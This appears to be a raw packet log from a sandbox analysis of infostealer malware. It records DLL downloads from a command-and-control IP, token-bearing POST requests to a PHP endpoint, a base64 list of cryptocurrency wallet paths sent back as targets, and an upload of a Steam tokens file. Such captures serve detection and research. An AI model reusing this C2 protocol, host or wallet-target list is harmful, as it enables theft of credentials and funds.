Nov 7, 2024 06:01:41.000632048 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 7, 2024 06:01:41.000658035 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Nov 7, 2024 06:01:41.000674963 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Nov 7, 2024 06:01:41.000755072 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 7, 2024 06:01:41.000766039 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Nov 7, 2024 06:01:41.000777960 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Nov 7, 2024 06:01:41.000788927 CET	1236	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Nov 7, 2024 06:01:41.002041101 CET	1236	IN	Data Raw: 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 61 01 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 62 01 83 f9 02 75 2d 88 5d e8 89 45 ec eb 6e 85 d2 0f 84 7e 02 00 00 8b 75 10 0f b6 0e 83 fa 03 0f 85 81 02 00 Data Ascii: U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7}E0MQM2MEP]EU+UUU9)]}1EE
Nov 7, 2024 06:01:41.002053022 CET	1236	IN	Data Raw: d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 08 03 45 e0 8b 55 e8 01 f2 83 c2 03 0f b6 d2 8b 75 f0 0f b6 1c 16 00 d9 0f b6 f1 8b 7d f0 8a 3c 37 8b 7d f0 88 3c 17 8b 55 f0 88 1c 32 00 df 0f b6 Data Ascii: }4}4EUEUu}<7}<U2u4EUU}4}4E]Uu3EUEu}U}]E]
Nov 7, 2024 06:01:41.002063990 CET	36	IN	Data Raw: 0f a4 d3 08 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 18 89 95 e4 fe ff ff 01 55 d4 8b 53 1c 89 95 e8 fe ff Data Ascii: `tSUS
Nov 7, 2024 06:01:42.097840071 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 7, 2024 06:01:42.378808975 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 7, 2024 06:01:42.743575096 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 7, 2024 06:01:43.024243116 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 7, 2024 06:01:43.206017971 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 7, 2024 06:01:43.487921000 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 7, 2024 06:01:44.210861921 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 7, 2024 06:01:44.493717909 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 7, 2024 06:01:44.753154039 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 7, 2024 06:01:45.034567118 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 7, 2024 06:01:45.502182961 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 06:01:46.678519011 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:46.864933014 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"wallets------FHDAEHDAKECGCAKFCFIJ--
Nov 7, 2024 06:01:47.149561882 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:47 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 7, 2024 06:01:47.382997036 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="message"files------CAKEBFCFIJJKKECAKJEH--
Nov 7, 2024 06:01:47.783699989 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:47.810240030 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"0b9f0ef5dafb9752d6ad89d8f51ae60906bdbf5de8b94c587b329fd1d4c947f228b68b49------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="file"------AFCBKFHJJJKKFHIDAAKF--
Nov 7, 2024 06:01:48.583903074 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:48.613560915 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 39 66 30 65 66 35 64 61 66 62 39 37 35 32 64 36 61 64 38 39 64 38 66 35 31 61 65 36 30 39 30 36 62 64 62 66 35 64 65 38 62 39 34 63 35 38 37 62 33 32 39 66 64 31 64 34 63 39 34 37 66 32 32 38 62 36 38 62 34 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 47 43 42 46 48 4a 44 47 43 42 46 48 44 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 